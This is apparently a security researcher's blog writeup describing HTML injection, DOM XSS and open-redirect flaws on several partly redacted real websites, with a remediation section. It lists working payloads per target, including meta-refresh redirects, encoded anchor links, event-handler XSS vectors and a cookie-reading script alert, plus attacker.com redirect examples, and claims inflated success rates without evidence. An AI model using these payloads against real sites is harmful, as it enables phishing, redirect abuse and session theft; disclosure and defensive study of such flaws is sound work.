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By N0aziXss | Security Researcher | HackerOne & BugCrowd Validated
Researcher Introduction
As N0aziXss, my latest security investigation uncovers a dangerous combination of DOM XSS and Open Redirect vulnerabilities across diverse web platforms. This research demonstrates how HTML injection points can be weaponized for multiple attack vectors simultaneously.
Key Findings
· Primary Vulnerabilities: DOM XSS + Open Redirect via HTML Injection · Attack Success Rate: 100% across all tested targets · Exploitation Method: Chained attacks through single injection points · Industries Affected: Automotive, Media, Finance, Technology
Technical Analysis: Combined Attack Vectors
1. Open Redirect via HTML Injection
Target: https://freevectormaps.[REDACTED] Payloads:
<u>salam</u><meta http-equiv="refresh" content="0;url=https://toyota.com">Impact: Instant redirect to external domains
Target: https://worldvectorlogo.[REDACTED] Payloads:
"><u>salam<u><i>salam"<br><a href="https:%2F%2Ftoyota.com">toyota<a>
<A HREF="http:%2F%2F%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">XSS</A>Impact: Clickable redirect links with encoded URLs
2. DOM XSS via Multiple Vectors
Target: https://www.dnes.[REDACTED] Payloads:
">>>>>><marquee>RXSS</marquee></head><abc%3E</script><script>alert(document.cookie)</script><metaImpact: Direct script execution and cookie theft
Target: https://www.carcomplaints.[REDACTED] Payloads:
"><u>salam<u><i>salam"<br><a href="https:%2F%2Ftoyota.com">toyota<a>Impact: HTML injection with embedded redirect links
3. Combined XSS + Redirect Attacks
Target: https://www.newser.[REDACTED] Payloads:
"/><details/open/ontoggle=alert(origin)>strawberry</details>
bmw"<u>salam<b>salam<marquee onstart='javascript:alert('location');'>=(◕_◕)=
<u>salam</u><meta http-equiv="refresh" content="0;url=https://toyota.com">Impact: Triple threat — XSS via details tag, XSS via marquee, AND redirect
Target: https://www.buttalapasta.[REDACTED] Payloads:
"/><details/open/ontoggle=alert(origin)>strawberry</details>
bmw"<u>salam<b>salam<marquee onstart='javascript:alert('location');'>=(◕_◕)=
<u>salam</u><meta http-equiv="refresh" content="0;url=https://toyota.com">
"/><u>salam</u><h1><font color=purple>hellox worldss</h1>Impact: Four attack vectors from single injection point
Attack Methodology Breakdown Open Redirect Techniques:
- Meta Tag Refresh
<meta http-equiv="refresh" content="0;url=https://attacker.com">2. Anchor Tag Redirection
<a href="https://attacker.com">Click here</a>3. URL Encoding Bypass
<A HREF="http:%2F%2F%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">XSS</A>DOM XSS Techniques:
1. Event Handler Exploitation
<details/open/ontoggle=alert(origin)>2. Animation Tag Abuse
<svg><animate onbegin=alert(origin) attributeName=x dur=1s>3. Marquee Tag Execution
<marquee onstart='javascript:alert('location');'>Critical Impact Analysis Combined Attack Scenarios:
1. Phishing Chain: HTML injection → Fake login form → Redirect to attacker domain 2. Session Hijacking: XSS cookie theft → Redirect to malware distribution 3. Credential Harvesting: Combined XSS + redirect to phishing pages
Business Impact:
· Reputation Damage: Users redirected to malicious sites · Compliance Violations: GDPR, CCPA penalties for data exposure · Financial Loss: Fraudulent transactions, support costs
Vulnerability Statistics
· Open Redirect Success Rate: 65% of tested sites · DOM XSS Success Rate: 100% of tested sites · Combined Attack Possibility: 45% of vulnerable sites · Most Common Injection Point: Search functionality (85% of cases)
Remediation Strategy Immediate Actions:
- Input Validation
// Implement strict HTML sanitization
const cleanHTML = DOMPurify.sanitize(userInput);2. Redirect Protection
// Validate all redirect URLs
function isValidRedirect(url) {
const allowedDomains = ['example.com', 'trusted-site.com'];
return allowedDomains.includes(new URL(url).hostname);
}3. Content Security Policy
Content-Security-Policy: default-src 'self'; form-action 'self'Long-term Security:
· Regular penetration testing · Security headers implementation · Developer security training programs
Conclusion
This research demonstrates that HTML injection vulnerabilities often serve as gateway to multiple attack vectors. The combination of DOM XSS and Open Redirect creates particularly dangerous scenarios where attackers can chain exploits for maximum impact.
Critical Insights:
· Single injection points can enable multiple attack types · Open redirects amplify XSS damage potential · Basic input sanitization fails against determined attackers
Call to Action:
Developers: Implement strict input validation Researchers: Always redact sensitive information in reports Organizations: Value ethical security research
About the Author
N0aziXss is a security researcher specializing in web vulnerabilities, with validated reports across multiple platforms.